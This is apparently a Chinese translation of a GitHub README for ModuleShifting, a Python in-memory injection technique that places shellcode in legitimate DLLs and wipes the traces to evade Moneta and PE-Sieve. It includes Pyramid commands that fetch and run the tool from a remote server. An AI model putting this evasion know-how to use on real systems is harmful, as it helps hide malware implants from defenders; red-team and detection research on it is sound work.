本工具已在 2023 x33fcon 演讲:“提升内存注入技术的隐蔽性” [视频] [博客] 上展示。
ModuleShifting 是 Module Stomping 和 Module Overloading 注入技术的更隐蔽变体。它实际上是用 Python ctypes 实现的,因此可以通过 Python 解释器和 Pyramid 完全在内存中执行,从而避免使用编译加载器。
该技术可与 PE 或 shellcode 载荷一起使用,然而,更隐蔽的变体适用于那些需要在功能上独立于 shellcode 所加载的最终载荷的 shellcode 载荷。
ModuleShifting 在与 shellcode 载荷一起使用时,执行以下操作:

当使用 PE 载荷时,ModuleShifting 将执行以下操作:
ModuleShifting 可用于在不动态分配内存(即 VirtualAlloc)的情况下注入载荷,并且与 Module Stomping 和 Module Overloading 相比,它更隐蔽,因为它减少了注入技术本身产生的 IoC 数量。
ModuleShifting 与一些公开实现的 Module Stomping(来自 Bobby Cooke 和 WithSecure)之间主要有 3 个区别:
ModuleShifting 与 Module Overloading 之间的区别如下:
使用功能独立的 shellcode 载荷(如 AceLdr Beacon Stageless shellcode 载荷),ModuleShifting 能够在无需动态分配内存的情况下进行本地注入,并且在 Moneta 和 PE-Sieve 扫描中产生零 IoC。我知道 AceLdr 睡眠载荷可能被其他优秀工具(如 Hunt-Sleeping-Beacon)检测到,但这里的重点在于注入技术本身,而不是载荷。在我们的案例中,实现更高隐蔽性的关键在于 shellcode 的功能独立性,这样写入的恶意字节可以恢复为其原始内容,从而有效擦除注入痕迹。
所有信息及内容仅供教育用途。请自行承担风险操作。作者及其雇主不对任何个人或组织因使用本工具而导致的直接或间接损失负责。
这项工作的完成得益于众多杰出人士分享的知识和工具,如 Aleksandra Doniec @hasherezade、Forest Orr 和 Kyle Avery。在我的整个学习过程中,我大量使用了 Moneta、PeSieve、PE-Bear 和 AceLdr,它们对我理解这一主题至关重要。
ModuleShifting 可与 Pyramid 及 Python 解释器配合使用,完全在内存中执行本地进程注入,避免使用编译加载器。
git clone https://github.com/naksyn/Pyramid
python3 pyramid.py -u testuser -pass testpass -p 443 -enc chacha20 -passenc superpass -generate -server 192.168.1.2 -setcradle moduleshifting.pyhttps://github.com/naksyn/ModuleShifting/assets/59816245/67fcf888-3385-47da-b828-8a2dafeeb1e2
要成功执行该技术,应使用一种能够在内存其他区域加载额外自维持载荷的 shellcode 载荷。ModuleShifting 已使用 AceLdr 载荷进行测试,该载荷能够在堆上加载 Beacon 的完整副本,从而打破与初始 shellcode 的功能依赖。该技术适用于任何具有类似能力的 shellcode 载荷。因此,初始 shellcode 一旦执行即无用,没有理由将其作为 IoC 保留在内存中。
还应选择一个在目标节上有足够空间容纳 shellcode 的宿主 DLL,否则技术会失败。
Module Stomping 和 Module Shifting 都需要在合法 DLL 内存空间写入 shellcode。ModuleShifting 会在清理阶段后消除此 IoC,但具有实时检测能力的扫描器仍可能发现指标。
